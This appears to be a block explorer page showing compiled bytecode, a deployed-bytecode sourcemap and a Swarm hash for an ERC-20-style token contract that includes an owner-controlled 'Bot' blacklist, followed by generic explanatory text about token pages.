fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461113d57600080fd5b600660149054906101000a900460ff1615600660146101000a81548160ff021916908315150217905550565b600081519050919050565b600082825260208201905092915050565b60005b838110156111a3578082015181840152602081019050611188565b838111156111b2576000848401525b50505050565b6000601f19601f8301169050919050565b60006111d482611169565b6111de8185611174565b93506111ee818560208601611185565b6111f7816111b8565b840191505092915050565b6000602082019050818103600083015261121c81846111c9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061125482611229565b9050919050565b61126481611249565b811461126f57600080fd5b50565b6000813590506112818161125b565b92915050565b6000819050919050565b61129a81611287565b81146112a557600080fd5b50565b6000813590506112b781611291565b92915050565b600080604083850312156112d4576112d3611224565b5b60006112e285828601611272565b92505060206112f3858286016112a8565b9150509250929050565b60008115159050919050565b611312816112fd565b82525050565b600060208201905061132d6000830184611309565b92915050565b61133c81611287565b82525050565b60006020820190506113576000830184611333565b92915050565b60008060006060848603121561137657611375611224565b5b600061138486828701611272565b935050602061139586828701611272565b92505060406113a6868287016112a8565b9150509250925092565b600060ff82169050919050565b6113c6816113b0565b82525050565b60006020820190506113e160008301846113bd565b92915050565b6000602082840312156113fd576113fc611224565b5b600061140b84828501611272565b91505092915050565b6000806040838503121561142b5761142a611224565b5b600061143985828601611272565b925050602061144a85828601611272565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061149b57607f821691505b6020821081036114ae576114ad611454565b5b50919050565b7f426f740000000000000000000000000000000000000000000000000000000000600082015250565b60006114ea600383611174565b91506114f5826114b4565b602082019050919050565b60006020820190508181036000830152611519816114dd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061155a82611287565b915061156583611287565b92508282101561157857611577611520565b5b828203905092915050565b600061158e82611287565b915061159983611287565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115ce576115cd611520565b5b828201905092915050565b7f7573657220697320426f74000000000000000000000000000000000000000000600082015250565b600061160f600b83611174565b915061161a826115d9565b602082019050919050565b6000602082019050818103600083015261163e81611602565b9050919050565b7f6e6f7420426f7400000000000000000000000000000000000000000000000000600082015250565b600061167b600783611174565b915061168682611645565b602082019050919050565b600060208201905081810360008301526116aa8161166e565b905091905056fea26469706673582212206a84217187d9c6af34f8f3a6e3150b064e37633758e27f9eeb4a1e97bb3791c164736f6c634300080f0033

Deployed Bytecode Sourcemap

250:7050:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;380:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5433:271;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;507:66;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6326:963;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;474:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;277:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2826:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;421:46;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4903:337;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3005:166;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5360:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2743:71;;;:::i;:::-;;380:34;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5433:271::-;5515:12;5617:5;5584:9;:21;5594:10;5584:21;;;;;;;;;;;;;;;:30;5606:7;5584:30;;;;;;;;;;;;;;;:38;;;;5659:7;5638:36;;5647:10;5638:36;;;5668:5;5638:36;;;;;;:::i;:::-;;;;;;;;5692:4;5685:11;;5433:271;;;;:::o;507:66::-;;;;:::o;6326:963::-;6423:12;6464:417;6470:9;;;;;;;;;;;6464:417;;;6495:2;;;;;;;;;;;6487:10;;:4;:10;;;6484:395;;6522:7;:13;6530:4;6522:13;;;;;;;;;;;;;;;;;;;;;;;;;6521:14;6513:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;6574:7;:11;6582:2;6574:11;;;;;;;;;;;;;;;;;;;;;;;;;6573:12;6565:29;;;;;;;;;;;;:::i;:::-;;;;;;;;;6624:9;:15;6634:4;6624:15;;;;;;;;;;;;;;;;6615:5;:24;;6607:33;;;;;;6668:9;:15;6678:4;6668:15;;;;;;;;;;;;;;;:27;6684:10;6668:27;;;;;;;;;;;;;;;;6659:5;:36;;6651:45;;;;;;6728:5;6709:9;:15;6719:4;6709:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;6761:5;6744:9;:13;6754:2;6744:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;6808:5;6777:9;:15;6787:4;6777:15;;;;;;;;;;;;;;;:27;6793:10;6777:27;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;6844:2;6829:25;;6838:4;6829:25;;;6848:5;6829:25;;;;;;:::i;:::-;;;;;;;;6872:4;6865:11;;;;6484:395;6464:417;;;6930:7;:13;6938:4;6930:13;;;;;;;;;;;;;;;;;;;;;;;;;6929:14;6921:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;6980:7;:11;6988:2;6980:11;;;;;;;;;;;;;;;;;;;;;;;;;6979:12;6971:29;;;;;;;;;;;;:::i;:::-;;;;;;;;;7029:9;:15;7039:4;7029:15;;;;;;;;;;;;;;;;7020:5;:24;;7012:33;;;;;;7073:9;:15;7083:4;7073:15;;;;;;;;;;;;;;;:27;7089:10;7073:27;;;;;;;;;;;;;;;;7064:5;:36;;7056:45;;;;;;7133:5;7114:9;:15;7124:4;7114:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;7166:5;7149:9;:13;7159:2;7149:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;7213:5;7182:9;:15;7192:4;7182:15;;;;;;;;;;;;;;;:27;7198:10;7182:27;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;7249:2;7234:25;;7243:4;7234:25;;;7253:5;7234:25;;;;;;:::i;:::-;;;;;;;;7277:4;7270:11;;6326:963;;;;;;:::o;474:26::-;;;;;;;;;;;;;:::o;277:45::-;;;;;;;;;;;;;;;;;:::o;2826:167::-;916:5;;;;;;;;;;;902:19;;:10;:19;;;894:28;;;;;;2891:7:::1;:14;2899:5;2891:14;;;;;;;;;;;;;;;;;;;;;;;;;2890:15;2882:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;2949:4;2932:7:::0;:14:::1;2940:5;2932:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;2826:167:::0;:::o;421:46::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4903:337::-;4964:12;5000:7;:19;5008:10;5000:19;;;;;;;;;;;;;;;;;;;;;;;;;4999:20;4991:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;5069:5;5044:9;:21;5054:10;5044:21;;;;;;;;;;;;;;;;:30;;5036:39;;;;;;5113:5;5088:9;:21;5098:10;5088:21;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5148:5;5131:9;:13;5141:2;5131:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;5200:2;5179:31;;5188:10;5179:31;;;5204:5;5179:31;;;;;;:::i;:::-;;;;;;;;5228:4;5221:11;;4903:337;;;;:::o;3005:166::-;916:5;;;;;;;;;;;902:19;;:10;:19;;;894:28;;;;;;3072:7:::1;:14;3080:5;3072:14;;;;;;;;;;;;;;;;;;;;;;;;;3064:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;3126:5;3109:7;:14;3117:5;3109:14;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;3005:166:::0;:::o;5360:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2743:71::-;916:5;;;;;;;;;;;902:19;;:10;:19;;;894:28;;;;;;2801:9:::1;;;;;;;;;;;2800:10;2788:9;;:22;;;;;;;;;;;;;;;;;;2743:71::o:0;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:474::-;5304:6;5312;5361:2;5349:9;5340:7;5336:23;5332:32;5329:119;;;5367:79;;:::i;:::-;5329:119;5487:1;5512:53;5557:7;5548:6;5537:9;5533:22;5512:53;:::i;:::-;5502:63;;5458:117;5614:2;5640:53;5685:7;5676:6;5665:9;5661:22;5640:53;:::i;:::-;5630:63;;5585:118;5236:474;;;;;:::o;5716:180::-;5764:77;5761:1;5754:88;5861:4;5858:1;5851:15;5885:4;5882:1;5875:15;5902:320;5946:6;5983:1;5977:4;5973:12;5963:22;;6030:1;6024:4;6020:12;6051:18;6041:81;;6107:4;6099:6;6095:17;6085:27;;6041:81;6169:2;6161:6;6158:14;6138:18;6135:38;6132:84;;6188:18;;:::i;:::-;6132:84;5953:269;5902:320;;;:::o;6228:153::-;6368:5;6364:1;6356:6;6352:14;6345:29;6228:153;:::o;6387:365::-;6529:3;6550:66;6614:1;6609:3;6550:66;:::i;:::-;6543:73;;6625:93;6714:3;6625:93;:::i;:::-;6743:2;6738:3;6734:12;6727:19;;6387:365;;;:::o;6758:419::-;6924:4;6962:2;6951:9;6947:18;6939:26;;7011:9;7005:4;7001:20;6997:1;6986:9;6982:17;6975:47;7039:131;7165:4;7039:131;:::i;:::-;7031:139;;6758:419;;;:::o;7183:180::-;7231:77;7228:1;7221:88;7328:4;7325:1;7318:15;7352:4;7349:1;7342:15;7369:191;7409:4;7429:20;7447:1;7429:20;:::i;:::-;7424:25;;7463:20;7481:1;7463:20;:::i;:::-;7458:25;;7502:1;7499;7496:8;7493:34;;;7507:18;;:::i;:::-;7493:34;7552:1;7549;7545:9;7537:17;;7369:191;;;;:::o;7566:305::-;7606:3;7625:20;7643:1;7625:20;:::i;:::-;7620:25;;7659:20;7677:1;7659:20;:::i;:::-;7654:25;;7813:1;7745:66;7741:74;7738:1;7735:81;7732:107;;;7819:18;;:::i;:::-;7732:107;7863:1;7860;7856:9;7849:16;;7566:305;;;;:::o;7877:161::-;8017:13;8013:1;8005:6;8001:14;7994:37;7877:161;:::o;8044:366::-;8186:3;8207:67;8271:2;8266:3;8207:67;:::i;:::-;8200:74;;8283:93;8372:3;8283:93;:::i;:::-;8401:2;8396:3;8392:12;8385:19;;8044:366;;;:::o;8416:419::-;8582:4;8620:2;8609:9;8605:18;8597:26;;8669:9;8663:4;8659:20;8655:1;8644:9;8640:17;8633:47;8697:131;8823:4;8697:131;:::i;:::-;8689:139;;8416:419;;;:::o;8841:157::-;8981:9;8977:1;8969:6;8965:14;8958:33;8841:157;:::o;9004:365::-;9146:3;9167:66;9231:1;9226:3;9167:66;:::i;:::-;9160:73;;9242:93;9331:3;9242:93;:::i;:::-;9360:2;9355:3;9351:12;9344:19;;9004:365;;;:::o;9375:419::-;9541:4;9579:2;9568:9;9564:18;9556:26;;9628:9;9622:4;9618:20;9614:1;9603:9;9599:17;9592:47;9656:131;9782:4;9656:131;:::i;:::-;9648:139;;9375:419;;;:::o

Swarm Source

ipfs://6a84217187d9c6af34f8f3a6e3150b064e37633758e27f9eeb4a1e97bb3791c1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.